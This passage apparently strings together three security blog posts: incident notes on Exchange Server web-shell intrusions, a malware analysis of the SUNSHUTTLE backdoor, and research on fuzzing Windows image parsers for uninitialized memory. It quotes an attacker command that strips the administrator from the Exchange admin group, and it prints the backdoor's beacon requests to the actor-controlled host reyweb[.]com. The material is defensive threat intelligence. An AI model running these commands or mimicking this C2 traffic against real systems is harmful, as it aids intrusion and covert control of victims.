The web shell was written to the system by the UMWorkerProcess.exe process, which is associated with Microsoft Exchange Server’s Unified Messaging service. This activity suggested exploitation of CVE-2021-26858.

Approximately twenty days later, the attacker placed another web shell on a separate Microsoft Exchange Server. This second, partially obfuscated web shell, named iisstart.aspx (MD5: 0fd9bffa49c76ee12e51e3b8ae0609ac), was more advanced and contained functions to interact with the file system. As seen in Figure 2, the web shell included the ability to run arbitrary commands and upload, delete, and view the contents of files.

Figure 2: Snippet of iisstart.aspx, uploaded by the attacker in late January 2021

While the use of web shells is common amongst threat actors, the parent processes, timing, and victim(s) of these files clearly indicate activity that commenced with the abuse of Microsoft Exchange.

In March 2021, in a separate environment, we observed a threat actor utilize one or more vulnerabilities to place at least one web shell on the vulnerable Exchange Server. This was likely to establish both persistence and secondary access, as in other environments. In this case, Mandiant observed the process w3wp.exe, (the IIS process associated with the Exchange web front-end) spawning cmd.exe to write a file to disk. The file, depicted in Figure 3, matches signatures for the tried-and-true China Chopper.

Figure 3: Snippet of China Chopper web shell found on a compromised Exchange Server system

We observed that in at least two cases, the threat actors subsequently issued the following command against the Exchange web server:

net group "Exchange Organization administrators" administrator /del /domain.

This command attempts to delete the administrator user from the Exchange Organizations administrators group, beginning with the Domain Controller in the current domain. If the system is in a single-system domain, it will execute on the local computer.

Per Microsoft’s blog, they have identified additional post-exploitation activities, including:

  • Credential theft via dumping of LSASS process memory.
  • Compression of data for exfiltration via 7-Zip.
  • Use of Exchange PowerShell Snap-ins to export mailbox data.
  • Use of additional offensive security tools Covenant, Nishang, and PowerCat for remote access.

The activity we have observed, coupled with others in the information security industry, indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments. This activity is followed quickly by additional access and persistent mechanisms. As previously stated, we have multiple ongoing cases and will continue to provide insight as we respond to intrusions.

Investigation Tips

We recommend checking the following for potential evidence of compromise:

  • Child processes of C:\Windows\System32\inetsrv\w3wp.exe on Exchange Servers, particularly cmd.exe.
  • Files written to the system by w3wp.exe or UMWorkerProcess.exe.
  • ASPX files owned by the SYSTEM user
  • New, unexpected compiled ASPX files in the Temporary ASP.NET Files directory
  • Reconnaissance, vulnerability-testing requests to the following resources from an external IP address:
    • /rpc/ directory
    • /ecp/DDI/DDIService.svc/SetObject
    • Non-existent resources
    • With suspicious or spoofed HTTP User-Agents
  • Unexpected or suspicious Exchange PowerShell SnapIn requests to export mailboxes

In our investigations to date, the web shells placed on Exchange Servers have been named differently in each intrusion, and thus the file name alone is not a high-fidelity indicator of compromise.

If you believe your Exchange Server was compromised, we recommend investigating to determine the scope of the attack and dwell time of the threat actor.

Furthermore, as system and web server logs may have time or size limits enforced, we recommend preserving the following artifacts for forensic analysis:

  • At least 14 days of HTTP web logs from the inetpub\Logs\LogFiles directories (include logs from all subdirectories)
  • The contents of the Exchange Web Server (also found within the inetpub folder)
  • At least 14 days of Exchange Control Panel (ECP) logs, located in Program Files\Microsoft\Exchange Server\v15\Logging\ECP\Server
  • Microsoft Windows event logs

We have found significant hunting and analysis value in these log folders, especially for suspicious CMD parameters in the ECP Server logs. We will continue updating technical details as we observe more related activity.

Technical Indicators

The following are technical indicators we have observed, organized by the threat groups we currently associate with this activity. To increase investigation transparency, we are including a Last Known True, or LKT, value for network indicators. The LKT timestamp indicates the last time Mandiant knew the indicator was associated with the adversary; however, as with all ongoing intrusions, a reasonable time window should be considered.





Network: IP Address

Last known true: 2021/03/02 02:43

Network: IP Address

Last known true: 2021/03/03 16:16






File: Web shell



File: Web shell






Cobalt Strike BEACON

File: Shellcode


Network: IP Address

Last known true: 2021/03/03 21:06

Network: IP Address

Last known true: 2021/03/03 21:39

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of Exchange Server exploitation or post-exploitation activities we associated with these threat actors.


Detection Name

  • Network Security 
  • Email Security 
  • Detection On Demand 
  • Malware File Scanning 
  • Malware File Storage Scanning 
  • FEC_Trojan_ASPX_Generic_2
  • FE_Webshell_ASPX_Generic_33
  • Exploit.CVE-2021-26855

Endpoint Security

Real-Time (IOC)


Malware Protection (AV/MG)

  • Trojan.Agent.Hafnium.A

Module Coverage

  • [Process Guard] - prevents dumping of LSASS memory using the procdump utility.


  • WINDOWS METHODOLOGY [Unusual Web Server Child Process]
  • MICROSOFT EXCHANGE [Authentication Bypass (CVE-2021-26855)]

New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452

04 Mar 2021

Executive Summary

  • In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository.
  • SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities.
  • Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.
  • Please see the Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001).

The activity discussed in this blog post is also detailed in a Microsoft blog post. We thank the team at Microsoft and other partners for their great collaboration in tracking this actor.

Threat Detail

Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.”

  • The SUNSHUTTLE backdoor file examined, “Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang. The file unpacks into MD5: 86e89349fefcbdd9d2c80ca30fa85511.
  • The infection vector for SUNSHUTTLE is not known. It is most likely a second-stage backdoor dropped after an initial compromise.
  • The SUNSHUTTLE sample uses the actor-controlled server “reyweb[.]com” for C2. “Reyweb[.]com” is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs

Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.

Please see FireEye’s resource center for background on UNC2452 and the SUNBURST campaign.

Outlook and Implications

The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its “blend-in” traffic capabilities for C2 communications. SUNSHUTTLE would function as second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools.

Technical Annex

Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service. SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution.

  • Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
    • C2: reyweb[.]com
    • UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
      • Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd

Infection Vector

For the samples analyzed, the infection vector is not known.


Execution Summary

SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is executed, a high-level description of the execution is the following:

  • Configuration settings determined
  • Request a “session key” from the C2
  • Retrieve the “session key” from the C2
    • Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop
  • Begin command request beaconing
  • Resolve command and perform action

The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following:






















Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2. These unique string values are thought to be unique and random per compiled sample.

Initial Execution

Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”. If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter.

Figure 1: Mac address check


If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running. For the sample analyzed, the configuration filename is “config.dat.tmp”. The configuration data is Base64 encoded and AES-256 encrypted using the following key:


The configuration has the following example values when Base64 decoded and AES decrypted:


The configuration holds several values delimited by a “|” character, which are briefly described as follows.

  • 48b9e25491e088a35105274cae0b9e67
    • MD5 hash of the current timestamp calculated during execution.
  • 5-15
    • Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes
  • 0
    • 0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting”
  • 0
    • Activate execution timestamp (0 by default) — execution "activates" or continues if current time is greater than the value in the configuration
  • TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
    • Base64-encoded User-agent used in HTTPS requests
    • Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines. The following URLs are leveraged for the “blend-in” requests:

  • https://reyweb[.]com/icon.ico
  • https://reyweb[.]com/icon.png
  • https://reyweb[.]com/script.js
  • https://reyweb[.]com/style.css
  • https://reyweb[.]com/css/style.css
  • https://reyweb[.]com/css/bootstrap.css
  • https://reyweb[.]com/scripts/jquery.js
  • https://reyweb[.]com/scripts/bootstrap.js
  • https://cdn.mxpnl[.]com/
  • https://cdn.jquery[.]com/
  • https://code.jquery[.]com/
  • https://cdn.cloudflare[.]com/

Session Key Mechanism

SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key. The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample. Analysis is on-going on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.

            -----BEGIN PRIVATE KEY-----

After the configuration is created or read from, SUNSHUTTLE enters a routine named “main_request_session_key”. The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration.

Inside the “main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed:

  • ywQdjLuHHC

The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response. If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine.

The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key. The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.


Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first issues a beacon to retrieve a command. After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run. Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution. 

Figure 2: Resolve command graph

The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted. A check is performed to ensure the decrypted content doesn’t contain the following string:

  • Cp5RTQ31R1

As noted, it is likely these strings are unique per sample and randomly generated at compilation.

The decrypted content is parsed for certain unique strings.

Unique string in decrypted response



Update sleep range — save config


Update “false requesting” value – save config


Update C2 URL and User-agent – save config


Send current timestamp to C2


Update "activation" timestamp in the config — save config


Upload file to C2 if the file exists


Execute command – return “EXECED” if successful


Execute command – return results/output

N/A (other string criteria met)

Provides terminal command execution

N/A (other string criteria met)

Download file from C2

Files Dropped

After successful execution of the malware, it drops the following files to the victim’s system:

  • \config.dat.tmp (MD5: Dynamic)
    • Encrypted configuration file

Persistence Method

The SUNSHUTTLE malware was not observed setting its own persistence. It is likely the persistence is set outside of the execution of SUNSHUTTLE.

Network Communications

SUNSHUTTLE uses the cookie header to pass values to the C2. Additionally, a referrer is selected from the following list, presumably to make the traffic blend in if traffic is being decrypted for inspection:


The cookie headers vary slightly depending on the operation being performed. The following is an example request to the C2 from the “request_session_key” routine.

Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Accept-Encoding: gzip

Within the Cookie header, these values represent the following:

  • HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
    • Timestamp MD5 contained within the configuration
  • P5hCrabkKf=gZLXIeKI
    • “P5hCrabkKf=” contains a unique string based on which routine is performing the request (see the following table).
  • iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
    • “i4zICToyI70Yeidf1f7rWjm5foKX2Usx” is hard coded within the SUNSHUTTLE backdoor. It possibly represents a payload identifier
  • b7XCoFSvs1YRW=78
    • Unknown purpose. This value is only included in request_session_key and retrieve_session_key requests.

As mentioned, the cookie value “P5hCrabkKf=” contained in each request signifies the operation that is being performed.

“P5hCrabkKf=” Cookie Value














After successful installation / initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.]com via TCP/443 HTTPS:

Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Accept-Encoding: gzip  

Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Accept-Encoding: gzip

Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic. Examples of those requests are as follows:

Victim to C2
GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Victim to C2
GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Victim to C2
GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Victim to Legitimate
GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept-Encoding: gzip

Appendix: MITRE ATT&CK Framework




Obfuscated Files or Information


Software Packing


Windows Command Shell


Web Protocols


Ingress Tool Transfer


Deobfuscate/Decode Files or Information


Symmetric Cryptography

Appendix: Detecting the Techniques

FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post.


Detection Name

  • Network Security
  • Email Security
  • Detection On Demand
  • Malware File Scanning
  • Malware File Storage Scanning
  • FE_APT_Backdoor_Win64_SUNSHUTTLE_1
  • FE_APT_Backdoor_Win_SUNSHUTTLE_1
  • APT.Backdoor.Win.SUNSHUTTLE

Endpoint Security

Malware Protection (AV/MG)

  • Trojan.GenericKD.34453763

Fuzzing Image Parsing in Windows, Part Two: Uninitialized Memory

03 Mar 2021

Continuing our discussion of image parsing vulnerabilities in Windows, we take a look at a comparatively less popular vulnerability class: uninitialized memory. In this post, we will look at Windows’ inbuilt image parsers—specifically for vulnerabilities involving the use of uninitialized memory.

The Vulnerability: Uninitialized Memory

In unmanaged languages, such as C or C++, variables are not initialized by default. Using uninitialized variables causes undefined behavior and may cause a crash. There are roughly two variants of uninitialized memory:

  • Direct uninitialized memory usage: An uninitialized pointer or an index is used in read or write. This may cause a crash.
  • Information leakage (info leak) through usage of uninitialized memory: Uninitialized memory content is accessible across a security boundary. An example: an uninitialized kernel buffer accessible from user mode, leading to information disclosure.

In this post we will be looking closely at the second variant in Windows image parsers, which will lead to information disclosure in situations such as web browsers where an attacker can read the decoded image back using JavaScript.

Detecting Uninitialized Memory Vulnerabilities

Compared to memory corruption vulnerabilities such as heap overflow and use-after-free, uninitialized memory vulnerabilities on their own do not access memory out of bound or out of scope. This makes detection of these vulnerabilities slightly more complicated than memory corruption vulnerabilities. While direct uninitialized memory usage can cause a crash and can be detected, information leakage doesn’t usually cause any crashes. Detecting it requires compiler instrumentations such as MemorySanitizer or binary instrumentation/recompilation tools such as Valgrind.

Detour: Detecting Uninitialized Memory in Linux

Let's take a little detour and look at detecting uninitialized memory in Linux and compare with Windows’ built-in capabilities. Even though compilers warn about some uninitialized variables, most of the complicated cases of uninitialized memory usage are not detected at compile time. For this, we can use a run-time detection mechanism. MemorySanitizer is a compiler instrumentation for both GCC and Clang, which detects uninitialized memory reads. A sample of how it works is given in Figure 1.

$ cat

int main()
    int *arr = new int[10];
    if(arr[3] == 0)
    printf("%08x\n", arr[3]);
    return 0;

$ clang++ -fsanitize=memory -fno-omit-frame-pointer -g

$ ./a.out
==29745==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x496db8  (/home/dan/uni/a.out+0x496db8)
    #1 0x7f463c5f1bf6  (/lib/x86_64-linux-gnu/
    #2 0x41ad69  (/home/dan/uni/a.out+0x41ad69)

SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/dan/uni/a.out+0x496db8)

Figure 1: MemorySanitizer detection of uninitialized memory

Similarly, Valgrind can also be used to detect uninitialized memory during run-time.

Detecting Uninitialized Memory in Windows

Compared to Linux, Windows lacks any built-in mechanism for detecting uninitialized memory usage. While Visual Studio and Clang-cl recently introduced AddressSanitizer support, MemorySanitizer and other sanitizers are not implemented as of this writing.

Some of the useful tools in Windows to detect memory corruption vulnerabilities such as PageHeap do not help in detecting uninitialized memory. On the contrary, PageHeap fills the memory allocations with patterns, which essentially makes them initialized.

There are few third-party tools, including Dr.Memory, that use binary instrumentation to detect memory safety issues such as heap overflows, uninitialized memory usages, use-after-frees, and others.

Detecting Uninitialized Memory in Image Decoding

Detecting uninitialized memory in Windows usually requires binary instrumentation, especially when we do not have access to source code. One of the indicators we can use to detect uninitialized memory usage, specifically in the case of image decoding, is the resulting pixels after the image is decoded.

When an image is decoded, it results in a set of raw pixels. If image decoding uses any uninitialized memory, some or all of the pixels may end up as random. In simpler words, decoding an image multiple times may result in different output each time if uninitialized memory is used. This difference of output can be used to detect uninitialized memory and aid writing a fuzzing harness targeting Windows image decoders. An example fuzzing harness is presented in Figure 2.

#define ROUNDS 20

unsigned char* DecodeImage(char *imagePath)
      unsigned char *pixels = NULL;     

      // use GDI or WIC to decode image and get the resulting pixels

      return pixels;

void Fuzz(char *imagePath)
      unsigned char *refPixels = DecodeImage(imagePath);     

      if(refPixels != NULL)
            for(int i = 0; i < ROUNDS; i++)
                  unsigned char *currPixels = DecodeImage(imagePath);
                  if(!ComparePixels(refPixels, currPixels))
                        // the reference pixels and current pixels don't match
                        // crash now to let the fuzzer know of this file

Figure 2: Diff harness

The idea behind this fuzzing harness is not entirely new; previously, lcamtuf used a similar idea to detect uninitialized memory in open-source image parsers and used a web page to display the pixel differences.


With the diffing harness ready, one can proceed to look for the supported image formats and gather corpuses. Gathering image files for corpus is considerably easy given the near unlimited availability on the internet, but at the same time it is harder to find good corpuses among millions of files with unique code coverage. Code coverage information for Windows image parsing is tracked from WindowsCodecs.dll.

Note that unlike regular Windows fuzzing, we will not be enabling PageHeap this time as PageHeap “initializes” the heap allocations with patterns.


During my research, I found three cases of uninitialized memory usage while fuzzing Windows built-in image parsers. Two of them are explained in detail in the next sections. Root cause analysis of uninitialized memory usage is non-trivial. We don’t have a crash location to back trace, and have to use the resulting pixel buffer to back trace to find the root cause—or use clever tricks to find the deviation.


Let’s look at the rendering of the proof of concept (PoC) file before going into the root cause of this vulnerability. For this we will use lcamtuf’s HTML, which loads the PoC image multiple times and compares the pixels with reference pixels.

Figure 3: CVE-2020-0853

As we can see from the resulting images (Figure 3), the output varies drastically in each decoding and we can assume this PoC leaks a lot of uninitialized memory.

To identify the root cause of these vulnerabilities, I used Time Travel Debugging (TTD) extensively. Tracing back the execution and keeping track of the memory address is a tedious task, but TTD makes it only slightly less painful by keeping the addresses and values constant and providing unlimited forward and backward executions. 

After spending quite a bit of time debugging the trace, I found the source of uninitialized memory in windowscodecs!CFormatConverter::Initialize. Even though the source was found, it was not initially clear why this memory ends up in the calculation of pixels without getting overwritten at all. To solve this mystery, additional debugging was done by comparing PoC execution trace against a normal TIFF file decoding. The following section shows the allocation, copying of uninitialized value to pixel calculation and the actual root cause of the vulnerability.

Allocation and Use of Uninitialized Memory

windowscodecs!CFormatConverter::Initialize allocates 0x40 bytes of memory, as shown in Figure 4.

0:000> r
rax=0000000000000000 rbx=0000000000000040 rcx=0000000000000040
rdx=0000000000000008 rsi=000002257a3db448 rdi=0000000000000000
rip=00007ffaf047a238 rsp=000000ad23f6f7c0 rbp=000000ad23f6f841
 r8=000000ad23f6f890  r9=0000000000000010 r10=000002257a3db468
r11=000000ad23f6f940 r12=000000000000000e r13=000002257a3db040
r14=000002257a3dbf60 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00007ffa`f047a238 ff15ea081200    call    qword ptr [windowscodecs!_imp_malloc (00007ffa`f059ab28)] ds:00007ffa`f059ab28={msvcrt!malloc (00007ffa`f70e9d30)}
0:000> k
 # Child-SP          RetAddr               Call Site
00 000000ad`23f6f7c0 00007ffa`f047c5fb     windowscodecs!CFormatConverter::Initialize+0x1c8
01 000000ad`23f6f890 00007ffa`f047c2f3     windowscodecs!CFormatConverter::Initialize+0x12b
02 000000ad`23f6f980 00007ff6`34ca6dff     windowscodecs!CFormatConverterResolver::Initialize+0x273

//Uninitialized memory after allocation:
0:000> db @rax
00000225`7a3dbf70  d0 b0 3d 7a 25 02 00 00-60 24 3d 7a 25 02 00 00  ..=z%...`$=z%...
00000225`7a3dbf80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbf90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbfa0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbfb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000225`7a3dbfc0  00 00 00 00 00 00 00 00-64 51 7c 26 c3 2c 01 03  ........dQ|&.,..
00000225`7a3dbfd0  f0 00 2f 6b 25 02 00 00-f0 00 2f 6b 25 02 00 00  ../k%...../k%...
00000225`7a3dbfe0  60 00 3d 7a 25 02 00 00-60 00 3d 7a 25 02 00 00  `.=z%...`.=z%...

Figure 4: Allocation of memory

The memory never gets written and the uninitialized values are inverted in windowscodecs!CLibTiffDecoderBase::HrProcessCopy and further processed in windowscodecs!GammaConvert_16bppGrayInt_128bppRGBA and in later called scaling functions.

As there is no read or write into uninitialized memory before HrProcessCopy, I traced the execution back from HrProcessCopy and compared the execution traces with a normal tiff decoding trace. A difference was found in the way windowscodecs!CLibTiffDecoderBase::UnpackLine behaved with the PoC file compared to a normal TIFF file, and one of the function parameters in UnpackLine was a pointer to the uninitialized buffer.

The UnpackLine function has a series of switch-case statements working with bits per sample (BPS) of TIFF images. In our PoC TIFF file, the BPS value is 0x09—which is not supported by UnpackLine—and the control flow never reaches a code path that writes to the buffer. This is the root cause of the uninitialized memory, which gets processed further down the pipeline and finally shown as pixel data.


After presenting my analysis to Microsoft, they decided to patch the vulnerability by making the files with unsupported BPS values as invalid. This avoids all decoding and rejects the file in the very early phase of its loading.


Figure 5: Rendering of CVE-2020-1397

Unlike the previous vulnerability, the difference in the output is quite limited in this one, as seen in Figure 5. One of the simpler root cause analysis techniques that can be used to figure out a specific type of uninitialized memory usage is comparing execution traces of runs that produce two different outputs. This specific technique can be helpful when an uninitialized variable causes a control flow change in the program and that causes a difference in the outputs. For this, a binary instrumentation script was written, which logged all the instructions executed along with its registers and accessed memory values.

Diffing two distinct execution traces by comparing the instruction pointer (RIP) value, I found a control flow change in windowscodecs!CCCITT::Expand2DLine due to a usage of an uninitialized value. Back tracing the uninitialized value using TTD trace was exceptionally useful for finding the root cause. The following section shows the allocation, population and use of the uninitialized value, which leads to the control flow change and deviance in the pixel outputs.


windowscodecs!TIFFReadBufferSetup allocates 0x400 bytes of memory, as shown in Figure 6.

    allocBuff = malloc(size);
    *(v3 + 16) |= 0x200u;
    *(v3 + 480) = allocBuff;

0:000> k
 # Child-SP          RetAddr           Call Site
00 000000aa`a654f128 00007ff9`4404d4f3 windowscodecs!TIFFReadBufferSetup
01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0xab
02 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0x91
03 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74
04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad
05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a
06 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20
07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b
08 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80
09 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5


After allocation:
0:000> !heap -p -a @rax
    address 0000029744382140 found in
    _HEAP @ 29735190000
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
        0000029744382130 0041 0000  [00]   0000029744382140    00400 - (busy)

//Uninitialized memory after allocation        
0:000> db @rax
00000297`44382140  40 7c 5e 97 29 5d 5f ae-73 31 98 70 b8 4f da ac  @|^.)]_.s1.p.O..
00000297`44382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..'..,.
00000297`44382160  3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9  :%....<....'.sA.
00000297`44382170  fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7  .....>.EL...r.!.
00000297`44382180  c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0  .D.;..D..nK.@18.
00000297`44382190  85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66  ....;...x....Maf
00000297`443821a0  16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44  .}..@..EOy...T.D
00000297`443821b0  66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94  f&(...R....4._o.

Figure 6: Allocation of memory

Partially Populating the Buffer

0x10 bytes are copied from the input file to this allocated buffer by TIFFReadRawStrip1. The rest of the buffer remains uninitialized with random values, as shown in Figure 7.

if ( !TIFFReadBufferSetup(v2, a2, stripCount) ) {
      return 0i64;
if ( TIFFReadRawStrip1(v2, v3, sizeToReadFromFile, "TIFFFillStrip") != sizeToReadFromFile )


0:000> r
rax=0000000000000001 rbx=000002973519a7e0 rcx=000002973519a7e0
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000010
rip=00007ff94404d58c rsp=000000aaa654f128 rbp=0000000000000000
 r8=0000000000000010  r9=00007ff94416fc38 r10=0000000000000000
r11=000000aaa654ef60 r12=0000000000000001 r13=0000000000000000
r14=0000029744377de0 r15=0000000000000001
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
00007ff9`4404d58c 488bc4          mov     rax,rsp
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000aa`a654f128 00007ff9`4404d491 windowscodecs!TIFFReadRawStrip1
01 000000aa`a654f130 00007ff9`4404d3c9 windowscodecs!TIFFFillStrip+0x49
02 000000aa`a654f170 00007ff9`4404d2dc windowscodecs!TIFFReadEncodedStrip+0x91
03 000000aa`a654f1b0 00007ff9`440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74
04 000000aa`a654f1e0 00007ff9`44115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad
05 000000aa`a654f2b0 00007ff9`44077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a
06 000000aa`a654f2f0 00007ff9`44048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20
07 000000aa`a654f320 00007ff9`44048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b
08 000000aa`a654f3d0 00007ff9`44043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80
09 000000aa`a654f4d0 00007ff9`4404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5

0:000> db 00000297`44382140
00000297`44382140  5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c  [..U*..o.-..X#.l             // 0x10 bytes from file
00000297`44382150  06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83  .QT..*#:O..'..,.             // uninitialized memory
